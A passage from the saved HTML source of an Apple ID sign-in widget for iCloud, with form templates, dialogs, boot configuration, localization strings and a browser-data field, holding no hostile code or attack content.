|||
|
{{/if}}
|
|||
|
|
|||
|
{{#if errorMessage}}
|
|||
|
<div class="pop-container error signin-error" ($click)="errorClickHandler()">
|
|||
|
<div class="error pop-bottom tk-subbody-headline" ($click)="errorClickHandler()">
|
|||
|
<p class="fat" id="errMsg">
|
|||
|
{{{errorMessage}}}
|
|||
|
</p>
|
|||
|
{{#if is401}}
|
|||
|
{{^suppressIforgot}}
|
|||
|
<a href="{{iForgotUrl}}" target="{{appleIdLinkTarget}}" class="si-link ax-outline thin tk-subbody">
|
|||
|
Forgot password?
|
|||
|
</a>
|
|||
|
{{/suppressIforgot}}
|
|||
|
{{#if suppressIforgot}}
|
|||
|
<span class="si-link ax-outline thin suppressIforgot tk-subbody" role="link" ($click)="suppressIforgotClickHandler()">
|
|||
|
Forgot password?
|
|||
|
</span>
|
|||
|
{{/if}}
|
|||
|
{{/if}}
|
|||
|
{{#if isUseAppleConnect}}
|
|||
|
<a target='_parent' id='appleConnectUrl' class='si-link ax-outline thin ' href='{{acClientURL}}'>Continue to sign in</a> with AppleConnect.
|
|||
|
{{/if}}
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
{{/if}}
|
|||
|
{{#if showRememberMe}}
|
|||
|
<div class="si-remember-password">
|
|||
|
<input type="checkbox" id="remember-me" class="form-choice form-choice-checkbox" {($checked)}="isRememberMeChecked">
|
|||
|
<label id="remember-me-label" class="form-label" for="remember-me">
|
|||
|
<span class="form-choice-indicator"></span>
|
|||
|
{{rememberMeText}}
|
|||
|
</label>
|
|||
|
</div>
|
|||
|
{{/if}}
|
|||
|
<div class="spinner-container auth {{#if spinnerFor.auth}} show {{else}} hide {{/if}}">
|
|||
|
</div>
|
|||
|
<button id="sign-in"
|
|||
|
($click)="_verify($element)"
|
|||
|
class="si-button btn {{#if isPasswordSecondStep}} fed-ui {{#if showPassword}} moved {{/if}} {{#if hideForFedAuthUIAnimation}} fed-ui-animation-hide {{else}} fed-ui-animation-show {{/if}} {{/if}} {{#unless allowAuth}}disable{{/unless}} {{#if spinnerFor.auth}} v-hide {{/if}} {{#if showRememberMe}} remember-me {{/if}} {{#or showCreateLink showiForgotLink}} link {{/or}}"
|
|||
|
aria-label="{{#if isPasswordSecondStep}}{{#if showPassword}}Sign In{{else}}Continue{{/if}}{{else}}Sign In{{/if}}"
|
|||
|
aria-disabled="{{#unless allowAuth}}true{{/unless}}{{#if allowAuth}}false{{/if}}"
|
|||
|
{{#unless allowAuth}} disabled="disabled"{{/unless}}
|
|||
|
tabindex="0">
|
|||
|
<i class="icon icon_sign_in"></i>
|
|||
|
|
|||
|
<span class="text feat-split">
|
|||
|
{{#if isPasswordSecondStep}}
|
|||
|
{{#if showPassword}}Sign In{{else}}Continue{{/if}}
|
|||
|
{{else}}
|
|||
|
Sign In
|
|||
|
{{/if}}
|
|||
|
</span>
|
|||
|
|
|||
|
</button>
|
|||
|
<button id="sign-in-cancel"
|
|||
|
($click)="_signInCancel($element)"
|
|||
|
class="si-button btn secondary feat-split {{#if showRememberMe}} remember-me {{/if}} {{#or showCreateLink showiForgotLink}} link {{/or}}"
|
|||
|
aria-label="Close"
|
|||
|
aria-disabled="false"
|
|||
|
tabindex="0">
|
|||
|
<span class="text">Close</span>
|
|||
|
</button>
|
|||
|
</div>
|
|||
|
<div class="si-container-footer">
|
|||
|
{{#or showCreateLink showiForgotLink}}
|
|||
|
<div class="separator {{^showRememberMe}}no-remember-me{{/showRememberMe}}"></div>
|
|||
|
<div class="links tk-subbody">
|
|||
|
{{#if showiForgotLink}}
|
|||
|
<div class="si-forgot-password">
|
|||
|
{{#unless suppressIforgot}}
|
|||
|
<a href="{{iForgotUrl}}" id="iforgot-link" class="si-link ax-outline lite-theme-override" target="{{appleIdLinkTarget}}" ($click)="iforgotLinkClickHandler($element)">
|
|||
|
Forgot Apple ID or password?
|
|||
|
</a>
|
|||
|
{{/unless}}
|
|||
|
{{#if suppressIforgot}}
|
|||
|
<span class="si-link ax-outline suppressIforgot" role="link" ($click)="suppressIforgotClickHandler()">
|
|||
|
Forgot Apple ID or password?
|
|||
|
</span>
|
|||
|
{{/if}}
|
|||
|
</div>
|
|||
|
{{/if}}
|
|||
|
{{#if showCreateLink}}
|
|||
|
<div>
|
|||
|
<span class="fat">Don’t have an Apple ID?</span>
|
|||
|
<a href="{{createAppleIDUrl}}" id="create-link" class="si-forgot-password si-link ax-outline lite-theme-override" target="{{appleIdLinkTarget}}" ($click)="createLinkClickHandler($element)">
|
|||
|
{{#if createLinkText}}
|
|||
|
{{createLinkText}}
|
|||
|
{{else}}
|
|||
|
Create yours now.
|
|||
|
{{/if}}
|
|||
|
</a>
|
|||
|
</div>
|
|||
|
{{/if}}
|
|||
|
</div>
|
|||
|
{{/or}}
|
|||
|
{{#if showFooter}}
|
|||
|
<div class="si-footer">
|
|||
|
<span class="copyright-text">Copyright © {{currentYear}} Apple Inc. All rights reserved.</span>
|
|||
|
<a class="terms-of-use ax-outline lite-theme-override" target="_blank" href="http://www.apple.com/legal/terms/site.html">
|
|||
|
Terms of Use
|
|||
|
</a>
|
|||
|
<a class="privacy ax-outline lite-theme-override" target="_blank" href="http://www.apple.com/legal/privacy/">
|
|||
|
Privacy Policy
|
|||
|
</a>
|
|||
|
</div>
|
|||
|
{{/if}}
|
|||
|
{{#if canShowAppleConnectLink}}
|
|||
|
<div class="ac-client-link-container">
|
|||
|
<div class="separator"></div>
|
|||
|
<div class="links">
|
|||
|
<a class="ax-outline lite-theme-override" target="_blank" href="{{acClientURL}}">
|
|||
|
Sign in with your AppleConnect account
|
|||
|
</a>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
{{/if}}
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
{{/or}}
|
|||
|
{{#if suppressIforgot}}
|
|||
|
{{#if didClickIForgot}}
|
|||
|
<app-dialog heading="{dialog.suppressIforgot.title}"
|
|||
|
show-apple-logo="{dialog.suppressIforgot.showAppleLogo}"
|
|||
|
theme="{dialog.suppressIforgot.theme}"
|
|||
|
title-align="{dialog.suppressIforgot.titleAlign}"
|
|||
|
body-align="{dialog.suppressIforgot.bodyAlign}"
|
|||
|
btn-opts="{dialog.suppressIforgot.btnOpts}"
|
|||
|
{dialog-click}="@dialogClick"
|
|||
|
>
|
|||
|
<div class="suppress" id="suppressIforgotDialog">
|
|||
|
<div class="dialog-body">
|
|||
|
<div class="dialog-info">
|
|||
|
<div class="thin">
|
|||
|
Contact your institution’s Administrator or Manager and ask them to reset the password for your Managed Apple ID.
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</app-dialog>
|
|||
|
{{/if}}
|
|||
|
{{/if}}
|
|||
|
|
|||
|
{{#if isResetSecurityQuestionsDialog}}
|
|||
|
<app-dialog heading="Too many incorrect verification attempts"
|
|||
|
{theme}="dialog.resetSecurityQuestions.theme"
|
|||
|
{title-align}="dialog.resetSecurityQuestions.titleAlign"
|
|||
|
{dialog-closed}="@dialogClosed"
|
|||
|
{body-align}="dialog.resetSecurityQuestions.bodyAlign"
|
|||
|
classes="too-many-verification-attempts"
|
|||
|
show-footer="false"
|
|||
|
{(show)}="showDialog"
|
|||
|
>
|
|||
|
<div class="dialog-info">
|
|||
|
<div class="thin end-text">
|
|||
|
You have made too many attempts to answer your security questions. You can try again later.
|
|||
|
</div>
|
|||
|
<div class="footer">
|
|||
|
<div class="button-bar">
|
|||
|
<button ($click)="@dialogClosed" class="button button-secondary">Cancel</button>
|
|||
|
<a class="reset-sec-question button" role="button" ($click)="resetQuestionClickHandler(%event)" href="{{resetQuestionDialog.url}}" target="{{resetQuestionDialog.target}}">
|
|||
|
Reset Security Questions
|
|||
|
</a>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</app-dialog>
|
|||
|
{{/if}}
|
|||
|
|
|||
|
{{#if isResetSecurityQuestionsFailureDialog}}
|
|||
|
<app-dialog heading="{dialog.couldNotGenerateResetQuestionURL.title}" theme="{dialog.couldNotGenerateResetQuestionURL.theme}" title-align="{dialog.titleAlign}" body-align="{dialog.bodyAlign}" {dialog-click}="@dialogClick" {dialog-closed}="@dialogClosed" btn-opts="{dialog.couldNotGenerateResetQuestionURL.btnOpts}" classes="reset-security-questions-falure" {(show)}="showDialog" {(show-spinner)}="showSpinner">
|
|||
|
<p class="form-text">Your request could not be completed because of an error.</p>
|
|||
|
<p class="form-text end-text">Try again later.</p>
|
|||
|
</app-dialog>
|
|||
|
{{/if}}
|
|||
|
{{/is}}
|
|||
|
|
|||
|
</script>
|
|||
|
|
|||
|
<script type="text/stache" id="jstache_1162475534">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<div class="spinner-container redirect-spinner {{#spinnerFor.redirect}}v-show{{/spinnerFor.redirect}}{{^spinnerFor.redirect}}v-hide{{/spinnerFor.redirect}}"
|
|||
|
id="redirect-spinner-container"></div>
|
|||
|
<a href="#" class="si-link" id="redirectPrefetch">{{text}}</a>
|
|||
|
<a href="{{redirectUrl}}" target="_blank" id="redirect"></a>
|
|||
|
</script>
|
|||
|
|
|||
|
<script type="text/stache" id="jstache_1410641100">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<div class="apple-id-logo" id="apple-id-logo">
|
|||
|
<i aria-hidden="true" class="icon icon_apple"></i>
|
|||
|
</div>
|
|||
|
|
|||
|
</script>
|
|||
|
|
|||
|
<script type="text/stache" id="jstache_968606182">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<idms-modal type="dialog" theme="{{theme}}" role="alertdialog" {(show)}=show {auto-close}=false wrap-class="dialog fade-in {{classes}} {{#is authUIMode 'inline'}}ui-mode-inline{{/is}}"
|
|||
|
attributes="aria-labelledby='alertInfo' tabindex='-1'">
|
|||
|
<div class="app-dialog">
|
|||
|
<div class="head {{^heading}}no-title{{/heading}}">
|
|||
|
{{#showAppleLogo}}
|
|||
|
<appleid-logo></appleid-logo>
|
|||
|
{{/showAppleLogo}}
|
|||
|
{{#if isShowDialogLogo}}
|
|||
|
<div id="dialog-logo" class="dialog-logo">
|
|||
|
<i class="icon {{dialogLogoClass}}"></i>
|
|||
|
</div>
|
|||
|
{{/if}}
|
|||
|
{{#heading}}
|
|||
|
<div class="title" title-align="{{titleAlign}}">
|
|||
|
<h2 id="alertInfo" class="tk-subsection-headline">{{heading}}</h2>
|
|||
|
</div>
|
|||
|
{{/heading}}
|
|||
|
</div>
|
|||
|
<div class="body" body-align="{{bodyAlign}}">
|
|||
|
<content/>
|
|||
|
</div>
|
|||
|
{{#if showFooter}}
|
|||
|
<div class="footer">
|
|||
|
{{#buttons}}
|
|||
|
<div class="button-bar" btn-direction="{{buttons.direction}}">
|
|||
|
<div class="dialog-spinner-container" id="dialog-btn-spinner"></div>
|
|||
|
{{#each btns}}
|
|||
|
<button class="button click-handle {{classes}} {{#if floatDirection}} float-{{floatDirection}} {{/if}}{{#unless isPrimaryButton}} button-secondary{{/unless}}"
|
|||
|
{{#if isDisabled}} disabled {{else}}($click)="dialogClick(id,'idms-modal')" {{/if}} ax-outline tabindex="0"
|
|||
|
id="{{id}}">{{text}}</button> {{/each}}
|
|||
|
</div>
|
|||
|
{{/buttons}}
|
|||
|
</div>
|
|||
|
{{/if}}
|
|||
|
</div>
|
|||
|
</idms-modal>
|
|||
|
</script>
|
|||
|
|
|||
|
<script type="text/stache" id="jstache_1743782058">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<div class="signin-form
|
|||
|
{{#or isPwdFocus isAppleIdFocus}} has-focus {{/or}}
|
|||
|
{{#if isPasswordSecondStep}} fed-auth
|
|||
|
{{#if isAnimating}} animating {{/if}}
|
|||
|
{{#if showPassword}} show-password {{/if}}
|
|||
|
{{#unless showPassword}} hide-password {{/unless}}
|
|||
|
{{/if}}"
|
|||
|
id="sign_in_form">
|
|||
|
<div class="si-field-container container">
|
|||
|
<div class="form-table">
|
|||
|
<div class="ax-vo-border {{#if hidePassword}} hide-password {{/if}} {{#if showPassword}} show-password {{/if}} {{#if isAppleIdFocus}}apple-id-focus{{/if}} {{#if isPwdFocus}}password-focus{{/if}} {{#if showSeparator}}show-separator{{/if}} {{#if isFirefoxBrowser}}firefox{{/if}}"></div>
|
|||
|
<div class="account-name form-row {{#if isAppleIdFocus}}apple-id-focus{{/if}} {{#if isPwdFocus}}password-focus{{/if}} {{#if hidePassword}} hide-password {{/if}} {{#if showPassword}} show-password {{/if}}">
|
|||
|
<label class="sr-only form-cell form-label" for="account_name_text_field">Apple ID</label>
|
|||
|
<div class="form-cell">
|
|||
|
<div class="form-cell-wrapper">
|
|||
|
<input class="form-textbox form-textbox-text"
|
|||
|
id="account_name_text_field"
|
|||
|
type="text"
|
|||
|
placeholder="{{appleIdPlaceholder}}"
|
|||
|
can-field="accountName"
|
|||
|
autocomplete="off"
|
|||
|
autocorrect="off"
|
|||
|
autocapitalize="off"
|
|||
|
aria-required="true"
|
|||
|
required="required"
|
|||
|
aria-describedby="apple_id_field_label"
|
|||
|
spellcheck="false"
|
|||
|
autofocus
|
|||
|
{{#if isAccountNameReadonly}}readonly{{/if}}
|
|||
|
($focus)="appleIdFocusHandler()"
|
|||
|
($keyup)="appleIdKeyupHandler()"
|
|||
|
($blur)="appleIdBlurHandler()"
|
|||
|
/>
|
|||
|
<span class="sr-only form-label-flyout" id="apple_id_field_label" aria-hidden="true">
|
|||
|
{{signInLabel}} Apple ID
|
|||
|
</span>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
<div class="field-separator {{#if showSeparator}}show-separator{{/if}} {{#if isAppleIdFocus}}apple-id-focus{{/if}} {{#if isPwdFocus}}password-focus{{/if}}"></div>
|
|||
|
<div class="password form-row {{#if hidePassword}} hide-password hide-placeholder {{/if}} {{#if showPassword}} show-password show-placeholder {{/if}} {{#if isAppleIdFocus}}apple-id-focus{{/if}} {{#if isPwdFocus}}password-focus{{/if}}"
|
|||
|
{{#if isPasswordSecondStep}}{{#unless showPassword}}aria-hidden="true"{{/unless}}{{/if}}
|
|||
|
>
|
|||
|
<label class="sr-only form-cell form-label" for="password_text_field">Password</label>
|
|||
|
<div class="form-cell">
|
|||
|
<div class="form-cell-wrapper">
|
|||
|
<input class="form-textbox form-textbox-text"
|
|||
|
id="password_text_field"
|
|||
|
($keyup)="passwordKeyUpHandler()"
|
|||
|
($focus)="pwdFocusHandler()"
|
|||
|
($blur)="pwdBlurHandler()"
|
|||
|
type="password"
|
|||
|
aria-required="true"
|
|||
|
required="required"
|
|||
|
placeholder="{{passwordPlaceholder}}"
|
|||
|
can-field="password"
|
|||
|
{{#errorMessage}}
|
|||
|
aria-invalid="true"
|
|||
|
aria-describedby="invalid_user_name_pwd_err_msg"
|
|||
|
{{/errorMessage}}
|
|||
|
autocomplete="off"
|
|||
|
{{#unless showPassword}}tabindex="-1"{{/unless}} />
|
|||
|
<span class="sr-only form-label-flyout" id="invalid_user_name_pwd_err_msg" aria-hidden="true">
|
|||
|
{{{errorMessage}}}
|
|||
|
</span>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</script>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<script type="text/javascript">
|
|||
|
(function(){
|
|||
|
var loadScript = function (scriptUrl, callback){
|
|||
|
var js;
|
|||
|
js = document.createElement('script');
|
|||
|
js.onload = function (){
|
|||
|
callback();
|
|||
|
}
|
|||
|
js.type = 'text/javascript';
|
|||
|
js.src = scriptUrl;
|
|||
|
document.getElementsByTagName('body')[0].appendChild(js);
|
|||
|
};
|
|||
|
|
|||
|
function loadApplication(){
|
|||
|
var urlContext = '/appleauth/';
|
|||
|
if (urlContext.substr(-1) === '/') {
|
|||
|
urlContext = urlContext.substr(0, urlContext.length - 1);
|
|||
|
}
|
|||
|
System.register('bootData', [], function (exports) {
|
|||
|
return {
|
|||
|
setters: [],
|
|||
|
execute: function () {
|
|||
|
var bootData = {};
|
|||
|
bootData.urlContext = urlContext;
|
|||
|
bootData.accountName = "";
|
|||
|
bootData.resetCRToken = '';
|
|||
|
bootData.isRtl = 'false';
|
|||
|
bootData.acUrl = 'https://idmsa.apple.com/IDMSWebAuth/acsignin';
|
|||
|
|
|||
|
bootData.scnt = 'null';
|
|||
|
bootData.isFederatedAuthEnabled = true;
|
|||
|
bootData.isPasswordSecondStep = true;
|
|||
|
bootData.isInterstitialFedAuthPageEnabled = true;
|
|||
|
bootData.shouldSuppressIForgotLink = false;
|
|||
|
bootData.destinationDomain = "https://www.icloud.com";
|
|||
|
if (bootData.destinationDomain && bootData.destinationDomain.substr(-1) === '/') {
|
|||
|
bootData.destinationDomain = bootData.destinationDomain.substr(0, bootData.destinationDomain.length - 1);
|
|||
|
}
|
|||
|
bootData.refererUrl = 'https://www.icloud.com/';
|
|||
|
bootData.domainId = null;
|
|||
|
bootData.urlBag = {
|
|||
|
"passwordReset" : "https://iforgot.apple.com/password/verify/appleid",
|
|||
|
"createAppleID" : "https://appleid.apple.com/account",
|
|||
|
"appleId" : "https://appleid.apple.com",
|
|||
|
"verificationCodeHelp" : "https://support.apple.com/kb/HT204974",
|
|||
|
"accountRecoveryHelp" : "https://support.apple.com/kb/HT204921",
|
|||
|
"crResetUrl" : "https://iforgot.apple.com/request/questions/reset"
|
|||
|
};
|
|||
|
bootData.meta = {};
|
|||
|
bootData.meta.futureReservedAuthUIModes = ['popped-window', 'dialog', 'tabbed'];
|
|||
|
bootData.meta.supportedAuthUIModes = ['window', 'embed', 'inline'];
|
|||
|
bootData.meta.FEConfiguration = {
|
|||
|
pmrpcRetryCount: '5',
|
|||
|
pmrpcTimeout: '500',
|
|||
|
appLoadDelay: '500',
|
|||
|
jsLogLevel: 'DEBUG'
|
|||
|
}
|
|||
|
|
|||
|
exports('data', bootData);
|
|||
|
}
|
|||
|
};
|
|||
|
});
|
|||
|
|
|||
|
System.import ('idms/modules/managers/localizationManager.js').then(function (module) {
|
|||
|
var localizationManager = module.default;
|
|||
|
localizationManager.addString('signInFallbackError', 'Your Apple ID or password was entered incorrectly.');
|
|||
|
localizationManager.addString('fallback', 'Failed to verify your identity. Try again.');
|
|||
|
localizationManager.addString('exampleEmail', 'name@example.com');
|
|||
|
localizationManager.addString('appleId', 'Apple ID');
|
|||
|
localizationManager.addString('password', 'Password');
|
|||
|
localizationManager.addString('rememberMe', 'Remember me ');
|
|||
|
localizationManager.addString('keepMeSignedIn', 'Keep me signed in');
|
|||
|
localizationManager.addString('defaultSignInLabel', 'Sign In with your Apple ID');
|
|||
|
localizationManager.addString('cancelText', ' Cancel');
|
|||
|
localizationManager.addString('resetAccText', ' Unlock Account');
|
|||
|
localizationManager.addString('gotoAppleIdText', ' Go to Apple ID');
|
|||
|
localizationManager.addString('addTrustedDeviceText', ' Add a Trusted Device');
|
|||
|
localizationManager.addString('iframeTitle', ' Sign In with your Apple ID');
|
|||
|
localizationManager.addString('acccountLockedTitle', ' This Apple ID has been locked for security reasons.');
|
|||
|
localizationManager.addString('noDevicesNoRKDialogTitle', ' Cannot Verify Identity');
|
|||
|
localizationManager.addString('suppressIforgotTitle', ' Need to reset your password?');
|
|||
|
localizationManager.addString('resetCRTokenTitle', ' This link is no longer valid.');
|
|||
|
localizationManager.addString('logoAltText', 'Application logo');
|
|||
|
localizationManager.addString('saChallenge.button.resetSecurityQuestions.text', 'Reset Security Questions');
|
|||
|
localizationManager.addString('titleCouldNotGenerateResetQuestionURL', 'Could Not Reset Security Questions');
|
|||
|
localizationManager.addString('okText', 'OK');
|
|||
|
localizationManager.addString('accountUnlockButton', 'Unlock Account');
|
|||
|
localizationManager.addString('btnTextGoBack', 'Go Back');
|
|||
|
localizationManager.addString('btnTextContinue', 'Continue');
|
|||
|
localizationManager.addString('notNowTrustMyBrowser', 'Not Now');
|
|||
|
localizationManager.addString('intermediaryIntroPageTitle', 'Apple ID for {0}');
|
|||
|
localizationManager.addString('intermediaryIntroPageDefaultTitle', 'Apple ID for your Institution');
|
|||
|
return System.import ('widget/auth/app');
|
|||
|
}).catch(function (error) {
|
|||
|
window.AppleID.service.JSLogger.onerror(error);
|
|||
|
});
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
if(''.trim().toUpperCase() === 'TRUE') {
|
|||
|
loadApplication();
|
|||
|
}
|
|||
|
else {
|
|||
|
loadScript("<script type="text/javascript" src="https://" ></script>".split('src="')[1].split('"')[0],loadApplication);
|
|||
|
}
|
|||
|
})()
|
|||
|
</script><script type="text/javascript" src="https://appleid.cdn-apple.com/appleauth/static/jsj/N1641679831/widget/auth/app.js"></script>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input type="hidden" id="fdcBrowserData" value="{"U":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36 OPR/53.0.2907.110","L":"en-US","Z":"GMT+05:00","V":"1.1","F":"VGa44j1e3NlY5BSo9z4ofjb75PaK4Vpjt.gEngMQEjZr_WhXTA2s.XTVV26y8GGEDd5ihORoVyFGh8cmvSuCKzIlnY6xljQlpRD.1ra_8ipbA2vLG9mhORoVxoTuPphtevFmqOL4AJZ7OQuyPBB2SCXw2SCVL6yXyjaY1WMsiZRPrwVL6tqAhbrmQmkqlE4Ww.GEFF0Yz3ccbbJYMLgiPFU77qZoOSix5ezdstlYysrhsui6.0QnHZrPn_Wxf7_OLgiPFTuESCPqwpScOQBf6Dz.ICMpwoNSdqdbAE9XXTneNufuyPBDjaY2ftckuyPB884akHGOg4BZg8Y5uxHdARpk6Hb9LarUqUdHz16rgPtJV0TJ6Lxokqlrichw1NLB1NL8IidmX6MSs6tJjsTjjNpp0iK7.M_Kpil1BQLz4mvmfTT9oaSumKkpjlRiwerbXh8bUuNQUhkY5BSp55BNlan0Os5Apw.6y_"}"></body></html>
|